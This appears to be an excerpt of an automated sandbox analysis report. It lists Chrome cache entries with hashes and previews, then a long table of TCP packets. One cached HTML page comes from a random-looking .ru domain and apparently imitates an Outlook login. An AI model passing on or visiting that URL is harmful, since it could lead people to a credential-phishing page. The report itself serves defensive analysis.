Encrypted:	false
SSDEEP:	3:zD:zD
MD5:	1FE410C5598F5205C56E76882159BC19
SHA1:	5D7E8BF16BBBBC15A80A0059499EFD18F3E6F374
SHA-256:	0E5F0BF3C8FA49B4D021A1EDC85D62E8D5DF458C370FCBDEAE422E399841A236
SHA-512:	C768E8EE992CA999FB0106A685AE17B492C79238BCB5207D1CFD91F284CF3BA7E5150D31DB29D3B2F751157634BCE80004E288981E437E4B693F8D94AE5D6FF6
Malicious:	false
Reputation:	low
URL:	https://www.flipkart.com/favicon.ico
Preview:	Site is overloaded

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	low
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52005), with CRLF line terminators
Category:	downloaded
Size (bytes):	151444
Entropy (8bit):	5.847401782831117
Encrypted:	false
SSDEEP:	3072:WuQBXd40HECKmCWXHsWzCGSpL8lzqHwdtYh0Gt0dXPLs:WuMXrHECK8XHsWLWL8NqHNt0ho
MD5:	B08147B5ECD4B9AB4C3161C517480EEE
SHA1:	5AF1B6EEAAC45E33A82D8BFBA8882C71FE94F4C6
SHA-256:	8EF15486035DA4C5DCEFA33E91FD93E38950660D015B84391A8A3A1133BD1B75
SHA-512:	318B6A1ED24C858EB36D6A6F065C60F56E6202D7A66456D975570F0E8C5E3697CC3EEF8FCA8E4C39B6A9E44B09F7EEC2B203BAE10A9174C880630E7544AF5FB8
Malicious:	false
Reputation:	low
URL:	https://c2uah.yazvbqkl.ru/TTYCVJZBMCDQJBLCWRBAD3q3meqvkaul0wmowr3w5st?HVIMOAMLNSBOHPTOLUFHESIPEVX
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title></title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Total Packets: 481
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 00:46:37.080374956 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 00:46:45.052901983 CET	49671	443	192.168.2.4	204.79.197.203
Mar 27, 2025 00:46:45.356607914 CET	49671	443	192.168.2.4	204.79.197.203
Mar 27, 2025 00:46:45.986738920 CET	49671	443	192.168.2.4	204.79.197.203
Mar 27, 2025 00:46:46.689914942 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 00:46:47.189668894 CET	49671	443	192.168.2.4	204.79.197.203
Mar 27, 2025 00:46:49.601701975 CET	49671	443	192.168.2.4	204.79.197.203
Mar 27, 2025 00:46:50.283616066 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:46:50.283654928 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:46:50.283726931 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:46:50.284018993 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:46:50.284040928 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:46:50.473362923 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:46:50.473452091 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:46:50.474735022 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:46:50.474744081 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:46:50.475236893 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:46:50.523580074 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:46:52.481981039 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.482004881 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.482075930 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.482459068 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.482512951 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.482578993 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.482697010 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.482708931 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.482886076 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.482920885 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.673392057 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.673491955 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.677453995 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.677551985 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.679358959 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.679382086 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.679629087 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.679884911 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.679891109 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.680210114 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:52.680386066 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.720295906 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:52.721349955 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.356476068 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357009888 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357039928 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357067108 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357089996 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.357112885 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357125998 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.357403040 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357925892 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.357985973 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.358002901 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358325005 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.358338118 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358383894 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358431101 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.358443022 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358766079 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358797073 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358819962 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.358822107 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358831882 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.358875990 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.359457970 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.359519005 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.359524012 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.359534979 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.359575033 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.359622955 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.359636068 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.359743118 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.360222101 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360402107 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360424042 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360454082 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.360466957 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360797882 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360831976 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360846996 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.360857964 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.360882998 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.360904932 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.361536980 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.361567020 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.361593962 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.361597061 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.361605883 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.361615896 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.361637115 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.361648083 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362417936 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362449884 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362477064 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.362478018 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362485886 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362529993 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.362536907 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362544060 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.362579107 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.363383055 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.363447905 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.363460064 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.364157915 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.364178896 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.364216089 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.364236116 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.364281893 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.364281893 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.444066048 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.444120884 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.444163084 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.444186926 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.444206953 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.444227934 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.444636106 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.444680929 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.567315102 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.567472935 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.568878889 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.568939924 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.569555998 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.569606066 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.571176052 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.571249008 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.571557045 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.571599960 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.571829081 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.571857929 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.571899891 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.571909904 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.571993113 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.572748899 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.572824001 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.573144913 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.573198080 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.574181080 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.574275970 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.574662924 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.574671030 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.575129986 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.575172901 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.575180054 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.575305939 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.575354099 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.575360060 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.576076984 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.576106071 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.576122046 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.576128006 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.576153040 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.576924086 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.576986074 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.576991081 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.577771902 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.577810049 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.577836990 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.577842951 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.577863932 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.578627110 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.578665018 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.578682899 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.578692913 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.578711987 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.579516888 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.579545021 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.579565048 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.579572916 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.579593897 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.580327988 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.580379009 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.580384016 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.582628965 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.593282938 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.653960943 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.654047012 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.654067993 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.654130936 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.655654907 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.655731916 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.655981064 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.656025887 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.656069994 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.656122923 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.657116890 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.657180071 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.657186985 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.657197952 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.657243013 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.657250881 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.657289028 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.657788038 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.657859087 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.658623934 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.658690929 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.659581900 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.659617901 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.659646988 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.659653902 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.659687996 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.661930084 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.661964893 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.662008047 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.662014961 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.662029982 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.662869930 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.662900925 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.663043022 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.663043022 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.663083076 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.663530111 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.663702011 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.663753986 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.665406942 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.665442944 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.665471077 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.665477991 CET	443	49726	172.64.80.1	192.168.2.4
Mar 27, 2025 00:46:53.665527105 CET	49726	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:46:53.666492939 CET	443	49726	172.64.80.1	192.168.2.4
